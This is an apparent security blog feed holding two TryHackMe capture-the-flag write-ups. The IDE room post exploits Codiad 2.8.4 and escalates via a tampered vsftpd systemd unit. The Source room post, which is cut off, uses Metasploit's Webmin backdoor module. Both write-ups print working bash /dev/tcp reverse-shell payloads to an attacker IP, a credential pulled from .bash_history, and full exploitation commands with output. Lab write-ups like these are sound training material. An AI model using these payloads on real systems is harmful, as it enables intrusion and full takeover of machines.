<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://mpck4.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://mpck4.github.io/" rel="alternate" type="text/html" /><updated>2026-03-27T23:00:32+00:00</updated><id>https://mpck4.github.io/feed.xml</id><title type="html">mpck4</title><subtitle>CTF writeups, pentest notes, and security research by mpck4.</subtitle><author><name>mpck4</name></author><entry><title type="html">THM IDE Writeup</title><link href="https://mpck4.github.io/posts/thm-ide-writeup/" rel="alternate" type="text/html" title="THM IDE Writeup" /><published>2026-03-10T00:00:00+00:00</published><updated>2026-03-10T00:00:00+00:00</updated><id>https://mpck4.github.io/posts/THM-IDE-Writeup</id><content type="html" xml:base="https://mpck4.github.io/posts/thm-ide-writeup/"><![CDATA[<p>Technical writeup for the tryhackme IDE room - here: https://tryhackme.com/room/ide</p>

<h2 id="enumeration">Enumeration</h2>

<p>First, make sure the host is up - ping 10.x.x.x</p>

<p>nmap -sV -sC -T4 -p- 10.x.x.x
my go to scan for CTFs</p>

<p>Nmap:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Starting Nmap 7.98 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2026-03-09 23:48 <span class="nt">-0400</span>
Nmap scan report <span class="k">for </span>10.x.x.x
Host is up <span class="o">(</span>0.032s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 65531 closed tcp ports <span class="o">(</span>reset<span class="o">)</span>
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.x.x.x
|      Logged <span class="k">in </span>as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session <span class="nb">timeout </span><span class="k">in </span>seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed <span class="o">(</span>FTP code 230<span class="o">)</span>
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
| ssh-hostkey: 
|   2048 e2:be:d3:3c:e8:76:81:ef:47:7e:d0:43:d4:28:14:28 <span class="o">(</span>RSA<span class="o">)</span>
|   256 a8:82:e9:61:e4:bb:61:af:9f:3a:19:3b:64:bc:de:87 <span class="o">(</span>ECDSA<span class="o">)</span>
|_  256 24:46:75:a7:63:39:b6:3c:e9:f1:fc:a4:13:51:63:20 <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp    open  http    Apache httpd 2.4.29 <span class="o">((</span>Ubuntu<span class="o">))</span>
|_http-server-header: Apache/2.4.29 <span class="o">(</span>Ubuntu<span class="o">)</span>
|_http-title: Apache2 Ubuntu Default Page: It works
62337/tcp open  http    Apache httpd 2.4.29 <span class="o">((</span>Ubuntu<span class="o">))</span>
|_http-server-header: Apache/2.4.29 <span class="o">(</span>Ubuntu<span class="o">)</span>
|_http-title: Codiad 2.8.4
Service Info: OSs: Unix, Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>67.08 seconds
</code></pre></div></div>
<p>Findings:</p>
<ul>
  <li>ftp is open with anonymous login allowed, probably the first thing ill look at</li>
  <li>80 and 62337 are also open, lets check that</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Documents/thm]
└─<span class="nv">$ </span>ftp 10.x.x.x
Connected to 10.x.x.x.
220 <span class="o">(</span>vsFTPd 3.0.3<span class="o">)</span>
Name <span class="o">(</span>10.x.x.x:kali<span class="o">)</span>: Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system <span class="nb">type </span>is UNIX.
Using binary mode to transfer files.
ftp&gt; <span class="nb">ls
</span>229 Entering Extended Passive Mode <span class="o">(||</span>|42192|<span class="o">)</span>
150 Here comes the directory listing.
226 Directory send OK.
ftp&gt; <span class="nb">pwd
</span>Remote directory: /
ftp&gt; <span class="nb">ls</span> <span class="nt">-la</span>
229 Entering Extended Passive Mode <span class="o">(||</span>|55005|<span class="o">)</span>
150 Here comes the directory listing.
drwxr-xr-x    3 0        114          4096 Jun 18  2021 <span class="nb">.</span>
drwxr-xr-x    3 0        114          4096 Jun 18  2021 ..
drwxr-xr-x    2 0        0            4096 Jun 18  2021 ...
226 Directory send OK.
ftp&gt; <span class="nb">cd</span> ...
250 Directory successfully changed.
ftp&gt; <span class="nb">ls
</span>229 Entering Extended Passive Mode <span class="o">(||</span>|61662|<span class="o">)</span>
150 Here comes the directory listing.
<span class="nt">-rw-r--r--</span>    1 0        0             151 Jun 18  2021 -
226 Directory send OK.
ftp&gt; get -
<span class="nb">local</span>: - remote: -
229 Entering Extended Passive Mode <span class="o">(||</span>|32017|<span class="o">)</span>
150 Opening BINARY mode data connection <span class="k">for</span> - <span class="o">(</span>151 bytes<span class="o">)</span><span class="nb">.</span>
100% |<span class="k">*****************************************************************</span>|   151      209.46 KiB/s    00:00 ETA
226 Transfer complete.
151 bytes received <span class="k">in </span>00:00 <span class="o">(</span>3.98 KiB/s<span class="o">)</span>
ftp&gt; 

</code></pre></div></div>
<p>Interesting way to hide a file, but I eventually found it.</p>

<p>Now lets check it out:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Documents/thm]
└─<span class="nv">$ </span><span class="nb">cp</span> - dash                                              

┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Documents/thm]
└─<span class="nv">$ </span><span class="nb">ls</span>    
-  dash  

┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Documents/thm]
└─<span class="nv">$ </span><span class="nb">cat </span>dash   
Hey john,
I have reset the password as you have asked. Please use the default password to login. 
Also, please take care of the image file <span class="p">;</span><span class="o">)</span>
- drac.
</code></pre></div></div>
<p>We got a username and hint for a password,
lets check the website now.</p>

<p>I just visited 10.x.x.x:80 and :62337,
Port 80 was the default Apache page, port 62337 is a log in portal!</p>

<p>I was going to try and bruteforce it with hydra, however the note said it was a default password, likey a hint that its easy, I tried password and it was correct yay!</p>

<p>Now that we have credentials, lets see if we can find an exploit</p>

<h2 id="exploitation">Exploitation</h2>

<p>Just looking at searchsploit, we found this:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Documents/thm]
└─<span class="nv">$ </span>searchsploit codiad                  
<span class="nt">----------------------------------------------------------------------------</span> <span class="nt">---------------------------------</span>
 Exploit Title                                                              |  Path
<span class="nt">----------------------------------------------------------------------------</span> <span class="nt">---------------------------------</span>
Codiad 2.4.3 - Multiple Vulnerabilities                                     | php/webapps/35585.txt
Codiad 2.5.3 - Local File Inclusion                                         | php/webapps/36371.txt
Codiad 2.8.4 - Remote Code Execution <span class="o">(</span>Authenticated<span class="o">)</span>                        | multiple/webapps/49705.py
Codiad 2.8.4 - Remote Code Execution <span class="o">(</span>Authenticated<span class="o">)</span> <span class="o">(</span>2<span class="o">)</span>                    | multiple/webapps/49902.py
Codiad 2.8.4 - Remote Code Execution <span class="o">(</span>Authenticated<span class="o">)</span> <span class="o">(</span>3<span class="o">)</span>                    | multiple/webapps/49907.py
Codiad 2.8.4 - Remote Code Execution <span class="o">(</span>Authenticated<span class="o">)</span> <span class="o">(</span>4<span class="o">)</span>                    | multiple/webapps/50474.txt

</code></pre></div></div>
<p>Perfect, the site is in Codiad 2.8.4 - Lets copy one of them over and exploit:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Documents/thm]
└─<span class="nv">$ </span><span class="nb">cp</span> /usr/share/exploitdb/exploits/multiple/webapps/49705.py <span class="nb">.</span>

</code></pre></div></div>
<p>now, how does it work?</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Documents/thm]
└─<span class="nv">$ </span>python3 49705.py   
Usage : 
        python 49705.py <span class="o">[</span>URL] <span class="o">[</span>USERNAME] <span class="o">[</span>PASSWORD] <span class="o">[</span>IP] <span class="o">[</span>PORT] <span class="o">[</span>PLATFORM]
        python 49705.py <span class="o">[</span>URL:PORT] <span class="o">[</span>USERNAME] <span class="o">[</span>PASSWORD] <span class="o">[</span>IP] <span class="o">[</span>PORT] <span class="o">[</span>PLATFORM]
Example : 
        python 49705.py http://localhost/ admin admin 8.8.8.8 8888 linux
        python 49705.py http://localhost:8080/ admin admin 8.8.8.8 8888 windows
Author : 
        WangYihang &lt;wangyihanger@gmail.com&gt;
                                                                
</code></pre></div></div>
<p>ok, so we type in the creds, and hit enter:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Documents/thm]
└─<span class="nv">$ </span>python 49705.py http://10.x.x.x:62337/ john password 192.x.x.x 9001 linux
<span class="o">[</span>+] Please execute the following <span class="nb">command </span>on your vps: 
<span class="nb">echo</span> <span class="s1">'bash -c "bash -i &gt;/dev/tcp/192.x.x.x/9002 0&gt;&amp;1 2&gt;&amp;1"'</span> | nc <span class="nt">-lnvp</span> 9001
nc <span class="nt">-lnvp</span> 9002
<span class="o">[</span>+] Please confirm that you have <span class="k">done </span>the two <span class="nb">command </span>above <span class="o">[</span>y/n]
<span class="o">[</span>Y/n] Y
<span class="o">[</span>+] Starting...
<span class="o">[</span>+] Login Content : <span class="o">{</span><span class="s2">"status"</span>:<span class="s2">"success"</span>,<span class="s2">"data"</span>:<span class="o">{</span><span class="s2">"username"</span>:<span class="s2">"john"</span><span class="o">}}</span>
<span class="o">[</span>+] Login success!
<span class="o">[</span>+] Getting writeable path...
<span class="o">[</span>+] Path Content : <span class="o">{</span><span class="s2">"status"</span>:<span class="s2">"success"</span>,<span class="s2">"data"</span>:<span class="o">{</span><span class="s2">"name"</span>:<span class="s2">"CloudCall"</span>,<span class="s2">"path"</span>:<span class="s2">"</span><span class="se">\/</span><span class="s2">var</span><span class="se">\/</span><span class="s2">www</span><span class="se">\/</span><span class="s2">html</span><span class="se">\/</span><span class="s2">codiad_projects"</span><span class="o">}}</span>
<span class="o">[</span>+] Writeable Path : /var/www/html/codiad_projects
<span class="o">[</span>+] Sending payload...

</code></pre></div></div>
<p>as well as</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'bash -c "bash -i &gt;/dev/tcp/192.x.x.x/9002 0&gt;&amp;1 2&gt;&amp;1"'</span> | nc <span class="nt">-lnvp</span> 9001
</code></pre></div></div>
<p>AND</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Documents/thm]
└─<span class="nv">$ </span>nc <span class="nt">-lnvp</span> 9002
listening on <span class="o">[</span>any] 9002 ...
connect to <span class="o">[</span>192.x.x.x] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.x.x.x] 38720
bash: cannot <span class="nb">set </span>terminal process group <span class="o">(</span>952<span class="o">)</span>: Inappropriate ioctl <span class="k">for </span>device
bash: no job control <span class="k">in </span>this shell
www-data@ide:/var/www/html/codiad/components/filemanager<span class="nv">$ </span><span class="nb">whoami</span>

</code></pre></div></div>
<p>which gives us our shell.
Interesting payload, make sure to run both of the commands it asks in different terminals.</p>

<p>We have a shell, look for flags and try to get root!</p>

<h2 id="finding-flags">Finding Flags</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@ide:/var/www/html/codiad/components/filemanager<span class="nv">$ </span><span class="nb">cd</span> /
<span class="nb">cd</span> /
www-data@ide:/<span class="nv">$ </span><span class="nb">cd </span>home
<span class="nb">cd </span>home
www-data@ide:/home<span class="nv">$ </span><span class="nb">ls
ls
</span>drac
www-data@ide:/home<span class="nv">$ </span><span class="nb">cd </span>drac
<span class="nb">cd </span>drac
www-data@ide:/home/drac<span class="nv">$ </span><span class="nb">ls
ls
</span>user.txt
www-data@ide:/home/drac<span class="nv">$ </span><span class="nb">cat </span>user.txt
<span class="nb">cat </span>user.txt
<span class="nb">cat</span>: user.txt: Permission denied
www-data@ide:/home/drac<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="nb">ls</span> <span class="nt">-la</span>
total 52
drwxr-xr-x 6 drac drac 4096 Aug  4  2021 <span class="nb">.</span>
drwxr-xr-x 3 root root 4096 Jun 17  2021 ..
<span class="nt">-rw-------</span> 1 drac drac   49 Jun 18  2021 .Xauthority
<span class="nt">-rw-r--r--</span> 1 drac drac   36 Jul 11  2021 .bash_history
<span class="nt">-rw-r--r--</span> 1 drac drac  220 Apr  4  2018 .bash_logout
<span class="nt">-rw-r--r--</span> 1 drac drac 3787 Jul 11  2021 .bashrc
drwx------ 4 drac drac 4096 Jun 18  2021 .cache
drwxr-x--- 3 drac drac 4096 Jun 18  2021 .config
drwx------ 4 drac drac 4096 Jun 18  2021 .gnupg
drwx------ 3 drac drac 4096 Jun 18  2021 .local
<span class="nt">-rw-r--r--</span> 1 drac drac  807 Apr  4  2018 .profile
<span class="nt">-rw-r--r--</span> 1 drac drac    0 Jun 17  2021 .sudo_as_admin_successful
<span class="nt">-rw-------</span> 1 drac drac  557 Jun 18  2021 .xsession-errors
<span class="nt">-r--------</span> 1 drac drac   33 Jun 18  2021 user.txt
www-data@ide:/home/drac<span class="nv">$ </span><span class="nb">cat</span> .bash_history
<span class="nb">cat</span> .bash_history
mysql <span class="nt">-u</span> drac <span class="nt">-p</span> <span class="s1">'Th3dRaCULa1sR3aL'</span>
www-data@ide:/home/drac<span class="nv">$ </span>

</code></pre></div></div>
<p>We were not authorized to view drac’s files, but the .bash_history file, (that stores a record of commands previously executed in the Bash shell) had drac’s password!</p>

<p>Lets try to read that flag now:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@ide:/home/drac<span class="nv">$ </span>su drac
su drac
su: must be run from a terminal
www-data@ide:/home/drac<span class="nv">$ </span>python3 <span class="nt">-c</span> <span class="s1">'import pty;pty.spawn("/bin/bash")'</span>
python3 <span class="nt">-c</span> <span class="s1">'import pty;pty.spawn("/bin/bash")'</span>
www-data@ide:/home/drac<span class="nv">$ </span><span class="nb">whoami
whoami
</span>www-data
www-data@ide:/home/drac<span class="nv">$ </span>su drac
su drac
Password: Th3dRaCULa1sR3aL

drac@ide:~<span class="nv">$ </span><span class="nb">cat </span>user.txt
<span class="nb">cat </span>user.txt
████████████████████████████████
drac@ide:~<span class="nv">$ </span>

</code></pre></div></div>
<p>We had to upgrade our shell, but we got our first flag!
If you are wondering about why we had to upgrade the shell, I wrote a little about it in my first post, I would reccomend doing some research on why we do this as its something I requently find myself doing in CTFs.</p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>Escalation now!</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>drac@ide:/<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
Matching Defaults entries <span class="k">for </span>drac on ide:
    env_reset, mail_badpass,
    <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin

User drac may run the following commands on ide:
    <span class="o">(</span>ALL : ALL<span class="o">)</span> /usr/sbin/service vsftpd restart
</code></pre></div></div>

<p>First, lets make things easier, since we have credentials im just going to ssh in:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh drac@10.x.x.x
</code></pre></div></div>

<p>Doing some research, I found this article <a href="https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-service-privilege-escalation">LINK</a> which helped me quite a bit.</p>

<p>After reading, I just followed their steps:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>drac@ide:/usr/sbin<span class="nv">$ </span>locate <span class="s1">'vsftpd.service'</span>
/etc/systemd/system/multi-user.target.wants/vsftpd.service
/lib/systemd/system/vsftpd.service	<span class="c"># this one!</span>
/var/lib/lxcfs/cgroup/blkio/system.slice/vsftpd.service
/var/lib/lxcfs/cgroup/cpu,cpuacct/system.slice/vsftpd.service
<span class="c"># ... more paths</span>
</code></pre></div></div>

<p>Next part of the article:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>Unit]
<span class="nv">Description</span><span class="o">=</span>vsftpd FTP server
<span class="nv">After</span><span class="o">=</span>network.target

<span class="o">[</span>Service]
<span class="nv">Type</span><span class="o">=</span>simple
<span class="nv">ExecStart</span><span class="o">=</span>/usr/sbin/vsftpd /etc/vsftpd.conf
<span class="nv">ExecReload</span><span class="o">=</span>/bin/kill <span class="nt">-HUP</span> <span class="nv">$MAINPID</span>
<span class="nv">ExecStartPre</span><span class="o">=</span>/bin/bash <span class="nt">-c</span> <span class="s1">'bash -i &gt;&amp; /dev/tcp/&lt;local-ip&gt;/4444 0&gt;&amp;1'</span>

<span class="o">[</span>Install]
<span class="nv">WantedBy</span><span class="o">=</span>multi-user.target
</code></pre></div></div>

<p>We add that to our file but with our ip,
and start a nc listening on that port, then restart the daemon!</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>drac@ide:/lib/systemd/system<span class="nv">$ </span>vim vsftpd.service
<span class="c"># make the edits</span>
drac@ide:/lib/systemd/system<span class="nv">$ </span>systemctl daemon-reload 
<span class="o">====</span> AUTHENTICATING FOR org.freedesktop.systemd1.reload-daemon <span class="o">===</span>
Authentication is required to reload the systemd state.                                                       
Authenticating as: drac
Password: 
<span class="o">====</span> AUTHENTICATION COMPLETE <span class="o">===</span>
drac@ide:/lib/systemd/system<span class="nv">$ </span><span class="nb">sudo</span> /usr/sbin/service vsftpd restart                                           
</code></pre></div></div>

<p>and shell (make sure to do this after editing the file)</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Documents/thm]
└─<span class="nv">$ </span>nc <span class="nt">-lvnp</span> 4444 
listening on <span class="o">[</span>any] 4444 ...
connect to <span class="o">[</span>192.x.x.x] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.x.x.x] 59390
bash: cannot <span class="nb">set </span>terminal process group <span class="o">(</span>2770<span class="o">)</span>: Inappropriate ioctl <span class="k">for </span>device
bash: no job control <span class="k">in </span>this shell
root@ide:/# <span class="nb">whoami
whoami
</span>root
root@ide:/# <span class="nb">cd </span>root
<span class="nb">cd </span>root
root@ide:/root# <span class="nb">cat </span>root.txt
<span class="nb">cat </span>root.txt
████████████████████████████████
root@ide:/root# 

</code></pre></div></div>

<p>Room done!</p>

<p>Thank you for reading, and thanks to <a href="https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-service-privilege-escalation">LINK</a> for the really helpful priv esc!</p>]]></content><author><name>mpck4</name></author><category term="TryHackMe" /><summary type="html"><![CDATA[Technical writeup for the tryhackme IDE room - here: https://tryhackme.com/room/ide]]></summary></entry><entry><title type="html">THM Source Writeup</title><link href="https://mpck4.github.io/posts/thm-source-writeup/" rel="alternate" type="text/html" title="THM Source Writeup" /><published>2026-03-05T00:00:00+00:00</published><updated>2026-03-05T00:00:00+00:00</updated><id>https://mpck4.github.io/posts/THM-Source-Writeup</id><content type="html" xml:base="https://mpck4.github.io/posts/thm-source-writeup/"><![CDATA[<p>Technical overview for the Source TryHackMe room.  here: https://tryhackme.com/room/source</p>

<h2 id="enumeration">Enumeration</h2>

<p>Nmap:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Documents/thm]
└─<span class="nv">$ </span>nmap <span class="nt">-sV</span> <span class="nt">-sC</span> <span class="nt">-T4</span> <span class="nt">-p-</span> 10.x.x.x                                           
Starting Nmap 7.98 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2026-03-06
...
Nmap scan report <span class="k">for </span>10.x.x.x
Host is up <span class="o">(</span>0.015s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 65533 closed tcp ports <span class="o">(</span>reset<span class="o">)</span>
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
| ssh-hostkey: 
|   2048 b7:4c:d0:bd:e2:7b:1b:15:72:27:64:56:29:15:ea:23 <span class="o">(</span>RSA<span class="o">)</span>
|   256 b7:85:23:11:4f:44:fa:22:00:8e:40:77:5e:cf:28:7c <span class="o">(</span>ECDSA<span class="o">)</span>
|_  256 a9:fe:4b:82:bf:89:34:59:36:5b:ec:da:c2:d3:95:ce <span class="o">(</span>ED25519<span class="o">)</span>
10000/tcp open  http    MiniServ 1.890 <span class="o">(</span>Webmin httpd<span class="o">)</span>
|_http-title: Site doesn<span class="s1">'t have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></code></pre></div></div>
<p>Findings:</p>
<ul>
  <li>Port 22 is running ssh, pretty normal</li>
  <li>Port 10000 is not normally open, lets look into this:
    <ul>
      <li>its running MiniServ 1.890 (Webmin httpd), let’s check if this has any exploits</li>
    </ul>
  </li>
</ul>

<h2 id="looking-for-exploits">Looking for exploits</h2>

<p>For ease of use, i’m just going to use metasploit and utilize the search command to try and find something:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf <span class="o">&gt;</span> search Webmin 1.890

Matching Modules
<span class="o">================</span>

   <span class="c">#  Name                                     Disclosure Date  Rank       Check  Description</span>
   -  <span class="nt">----</span>                                     <span class="nt">---------------</span>  <span class="nt">----</span>       <span class="nt">-----</span>  <span class="nt">-----------</span>
   0  exploit/linux/http/webmin_backdoor       2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor
   1    <span class="se">\_</span> target: Automatic <span class="o">(</span>Unix In-Memory<span class="o">)</span>  <span class="nb">.</span>                <span class="nb">.</span>          <span class="nb">.</span>      <span class="nb">.</span>
   2    <span class="se">\_</span> target: Automatic <span class="o">(</span>Linux Dropper<span class="o">)</span>   <span class="nb">.</span>                <span class="nb">.</span>          <span class="nb">.</span>      <span class="nb">.</span>


Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/http/webmin_backdoor
After interacting with a module you can manually <span class="nb">set </span>a TARGET with <span class="nb">set </span>TARGET <span class="s1">'Automatic (Linux Dropper)'</span>
</code></pre></div></div>

<p>Perfect, we found something to try in metasploit.</p>

<h2 id="exploitation">Exploitation</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf <span class="o">&gt;</span> use 0
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Using configured payload cmd/unix/reverse_perl
msf exploit<span class="o">(</span>linux/http/webmin_backdoor<span class="o">)</span> <span class="o">&gt;</span> 
</code></pre></div></div>

<p>Now we set the correct options:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf exploit<span class="o">(</span>linux/http/webmin_backdoor<span class="o">)</span> <span class="o">&gt;</span> show options

Module options <span class="o">(</span>exploit/linux/http/webmin_backdoor<span class="o">)</span>:

   Name       Current Setting  Required  Description
   <span class="nt">----</span>       <span class="nt">---------------</span>  <span class="nt">--------</span>  <span class="nt">-----------</span>
   Proxies                     no        A proxy chain of format <span class="nb">type</span>:host:port[,type:host:port][...]. Supported
                                          proxies: sapni, socks4, socks5, socks5h, http
   RHOSTS                      <span class="nb">yes       </span>The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasplo
                                         it/basics/using-metasploit.html
   RPORT      10000            <span class="nb">yes       </span>The target port <span class="o">(</span>TCP<span class="o">)</span>
   SSL        <span class="nb">false            </span>no        Negotiate SSL/TLS <span class="k">for </span>outgoing connections
   SSLCert                     no        Path to a custom SSL certificate <span class="o">(</span>default is randomly generated<span class="o">)</span>
   TARGETURI  /                <span class="nb">yes       </span>Base path to Webmin
   URIPATH                     no        The URI to use <span class="k">for </span>this exploit <span class="o">(</span>default is random<span class="o">)</span>
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   <span class="nt">----</span>     <span class="nt">---------------</span>  <span class="nt">--------</span>  <span class="nt">-----------</span>
   SRVHOST  0.0.0.0          <span class="nb">yes       </span>The <span class="nb">local </span>host or network interface to listen on. This must be an address
                                        on the <span class="nb">local </span>machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             <span class="nb">yes       </span>The <span class="nb">local </span>port to listen on.


Payload options <span class="o">(</span>cmd/unix/reverse_perl<span class="o">)</span>:

   Name   Current Setting  Required  Description
   <span class="nt">----</span>   <span class="nt">---------------</span>  <span class="nt">--------</span>  <span class="nt">-----------</span>
   LHOST                   <span class="nb">yes       </span>The listen address <span class="o">(</span>an interface may be specified<span class="o">)</span>
   LPORT  4444             <span class="nb">yes       </span>The listen port


Exploit target:

   Id  Name
   <span class="nt">--</span>  <span class="nt">----</span>
   0   Automatic <span class="o">(</span>Unix In-Memory<span class="o">)</span>



View the full module info with the info, or info <span class="nt">-d</span> command.

msf exploit<span class="o">(</span>linux/http/webmin_backdoor<span class="o">)</span> <span class="o">&gt;</span> 

</code></pre></div></div>

<p>After setting the correct options, we run the module.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf exploit<span class="o">(</span>linux/http/webmin_backdoor<span class="o">)</span> <span class="o">&gt;</span> <span class="nb">set </span>RHOSTS 10.x.x.x.x
RHOSTS <span class="o">=&gt;</span> 10.x.x.x.x                                                                                                              
msf exploit<span class="o">(</span>linux/http/webmin_backdoor<span class="o">)</span> <span class="o">&gt;</span> <span class="nb">set </span>LHOST 192.x.x.x.x                                                                 
LHOST <span class="o">=&gt;</span> 192.x.x.x.x                                                                                                            
msf exploit<span class="o">(</span>linux/http/webmin_backdoor<span class="o">)</span> <span class="o">&gt;</span> exploit
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Started reverse TCP handler on 192.x.x.x.x:4444                                                                             
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Running automatic check <span class="o">(</span><span class="s2">"set AutoCheck false"</span> to disable<span class="o">)</span>                                                                      
<span class="o">[</span>-] Please <span class="nb">enable </span>the SSL option to proceed                                                                                         
<span class="o">[</span>-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. <span class="s2">"set ForceExploit true"</span> to override check result.
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Exploit completed, but no session was created.
msf exploit<span class="o">(</span>linux/http/webmin_backdoor<span class="o">)</span> <span class="o">&gt;</span> <span class="nb">set </span>SSL <span class="nb">true</span>
<span class="o">[!]</span> Changing the SSL option<span class="s1">'s value may require changing RPORT!
SSL =&gt; true
msf exploit(linux/http/webmin_backdoor) &gt; run
[*] Started reverse TCP handler on 192.x.x.x.x:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (192.x.x.x.x:4444 -&gt; 10.x.x.x.x:43670) at 2026-03-05 23:53:33 -0500

whoami
root

</span></code></pre></div></div>

<p>We had to set SSL to true because Webmin 1.890 runs over HTTPS by default, so metasploit needs SSL enabled to communicate with it or it can’t reach the backdoor url. (http://10.x.x.x:10000/<strong>password_change.cgi</strong>)</p>

<p>Surprisingly easy, metasploit is very powerful when it works!</p>

<h2 id="finding-flags">Finding Flags</h2>

<p>As root, this is trivial, but first let’s secure our shell:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">pwd</span>
/usr/share/webmin
python <span class="nt">-c</span> <span class="s1">'import pty;pty.spawn("/bin/bash")'</span>
root@source:/usr/share/webmin/# <span class="nb">whoami
whoami
</span>root
root@source:/usr/share/webmin/# 
</code></pre></div></div>

<p>Before exploring the system, we upgrade our raw (unstable) shell to a fully interactive TTY (more stable). The default reverse shell from Metasploit is non-interactive, so commands like su will hang and there’s no tab completion or command history. Spawning a PTY with Python fixes this:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python <span class="nt">-c</span> <span class="s1">'import pty; pty.spawn("/bin/bash")'</span>
</code></pre></div></div>
<p>On boxes where Python isn’t available, common fallbacks are script /dev/null -c bash or python3 instead of python. You can just google this too.</p>

<p>Now we find the flags!</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@source:/usr/share/webmin# <span class="nb">cd</span> /
<span class="nb">cd</span> /
root@source:/# find <span class="nb">.</span> <span class="nt">-name</span> user.txt
find <span class="nb">.</span> <span class="nt">-name</span> user.txt
./home/dark/user.txt
